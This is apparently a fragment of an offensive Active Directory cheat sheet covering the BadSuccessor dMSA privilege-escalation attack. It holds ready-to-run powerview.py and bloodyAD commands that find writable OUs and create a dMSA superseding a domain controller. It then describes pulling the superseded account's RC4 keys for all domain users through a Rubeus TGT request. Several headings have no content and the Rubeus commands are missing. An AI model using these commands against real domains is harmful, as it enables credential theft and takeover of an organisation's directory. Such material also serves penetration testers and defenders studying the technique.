gMSA / dMSA
Group Managed Service Accounts / Delegated Managed Service Accounts
Golden gMSA
BadSuccessor
Enumerate OUs where we can create child objects (using powerview.py or bloodyAD):
PV > Get-DomainObjectAcl -LDAPFilter "(objectClass=organizationalUnit)" -Where "ActiveDirectoryRights contains CreateChild"
$ bloodyAD -d megacorp.local -k --host DC01.megacorp.local --dc-ip 192.168.1.11 --dns 192.168.1.11 [--gc 192.168.1.11] [-s] get writable --otype OU [--right CHILD]Create a dMSA account with a superseded account in the msDS-ManagedAccountPrecededByLink property (using powerview.py or bloodyAD):
PV > Add-DomainDMSA -Identity mydmsa -PrincipalsAllowedToRetrieveManagedPassword jdoe -SupersededAccount DC01 [-BaseDN "CN=Managed Service Accounts,DC=megacorp,DC=local"]
$ bloodyAD -d megacorp.local -k --host DC01.megacorp.local --dc-ip 192.168.1.11 --dns 192.168.1.11 [--gc 192.168.1.11] [-s] add badSuccessor mydmsa -t "CN=DC01,OU=Domain Controllers,DC=megacorp,DC=local" [--ou "CN=Managed Service Accounts,DC=megacorp,DC=local"]Ask for a TGT containing the superseded account PAC (using Rubeus or minikerberos-getDmsa):
Request TGT and grep for "previous keys" (from KERB-DMSA-KEY-PACKAGE structure), which is actually current RC4 of the superseded account, for all domain users and computers in a loop (requires this Rubeus):
Tools
Golden dMSA
Last updated